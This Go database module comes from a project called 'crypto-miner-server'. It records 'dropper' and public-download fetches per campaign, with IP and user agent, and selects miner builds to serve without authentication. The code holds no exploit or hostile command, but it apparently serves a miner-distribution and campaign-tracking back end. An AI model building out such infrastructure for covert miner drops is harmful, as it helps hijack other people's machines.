package db import ( "fmt" "strings" "time" "crypto-miner-server/internal/models" ) // LogCampaignHit records a dropper or public-download fetch with optional campaign tag. func (d *Database) LogCampaignHit(campaign, buildID, source, ip, userAgent string) error { campaign = sanitizeCampaign(campaign) if campaign == "" { return nil } _, err := d.Exec( `INSERT INTO campaign_hits (campaign, build_id, source, ip, user_agent, created_at) VALUES (?, ?, ?, ?, ?, ?)`, campaign, buildID, source, ip, userAgent, time.Now(), ) return err } func sanitizeCampaign(c string) string { c = strings.TrimSpace(c) if len(c) > 64 { c = c[:64] } // Allow alphanumeric, dash, underscore, dot var b strings.Builder for _, r := range c { if (r >= 'a' && r <= 'z') || (r >= 'A' && r <= 'Z') || (r >= '0' && r <= '9') || r == '-' || r == '_' || r == '.' { b.WriteRune(r) } } return b.String() } // CampaignHitSummary aggregates hits per campaign for the Emberwake dashboard. type CampaignHitSummary struct { Campaign string `json:"campaign"` Count int `json:"count"` LastHit string `json:"last_hit"` } func (d *Database) ListCampaignHits(limit int) ([]CampaignHitSummary, error) { if limit <= 0 || limit > 500 { limit = 100 } rows, err := d.Query(` SELECT campaign, COUNT(*) AS cnt, MAX(created_at) AS last_hit FROM campaign_hits GROUP BY campaign ORDER BY cnt DESC LIMIT ?`, limit) if err != nil { return nil, err } defer rows.Close() var out []CampaignHitSummary for rows.Next() { var s CampaignHitSummary var lastRaw string if err := rows.Scan(&s.Campaign, &s.Count, &lastRaw); err != nil { return nil, err } if t, err := time.Parse("2006-01-02 15:04:05-07:00", lastRaw); err == nil { s.LastHit = t.Format(time.RFC3339) } else if t, err := time.Parse(time.RFC3339, lastRaw); err == nil { s.LastHit = t.Format(time.RFC3339) } else { s.LastHit = lastRaw } out = append(out, s) } return out, nil } // ListPublicBuilds returns builds eligible for unauthenticated download. // When allEnabled, every build is returned; otherwise pinned + public-flagged + latest N. func (d *Database) ListPublicBuilds(allEnabled bool, latestN int) ([]*models.BuildRecord, error) { if allEnabled { return d.ListBuilds(50) } if latestN <= 0 { latestN = 3 } seen := map[string]bool{} var out []*models.BuildRecord add := func(b *models.BuildRecord) { if b == nil || seen[b.ID] { return } seen[b.ID] = true out = append(out, b) } // Pinned builds pinnedRows, err := d.Query(`SELECT ` + buildSelectCols + ` FROM builds WHERE pinned = 1 ORDER BY created_at DESC`) if err == nil { defer pinnedRows.Close() for pinnedRows.Next() { b, err := scanBuild(pinnedRows) if err == nil { add(b) } } } // Operator-marked public publicRows, err := d.Query(`SELECT ` + buildSelectCols + ` FROM builds WHERE public = 1 ORDER BY created_at DESC`) if err == nil { defer publicRows.Close() for publicRows.Next() { b, err := scanBuild(publicRows) if err == nil { add(b) } } } // Latest N by created_at latestRows, err := d.Query(`SELECT `+buildSelectCols+` FROM builds ORDER BY created_at DESC LIMIT ?`, latestN) if err == nil { defer latestRows.Close() for latestRows.Next() { b, err := scanBuild(latestRows) if err == nil { add(b) } } } if out == nil { out = []*models.BuildRecord{} } return out, nil } // IsBuildPubliclyDownloadable checks whether a build may be fetched without auth. func (d *Database) IsBuildPubliclyDownloadable(id string, allEnabled bool, latestN int) (bool, error) { if allEnabled { _, err := d.GetBuild(id) return err == nil, err } builds, err := d.ListPublicBuilds(false, latestN) if err != nil { return false, err } for _, b := range builds { if b.ID == id { return true, nil } } return false, nil } // SetBuildPublic toggles the operator public flag on a build. func (d *Database) SetBuildPublic(id string, public bool) error { val := 0 if public { val = 1 } res, err := d.Exec(`UPDATE builds SET public = ? WHERE id = ?`, val, id) if err != nil { return err } n, _ := res.RowsAffected() if n == 0 { return fmt.Errorf("build not found: %s", id) } return nil }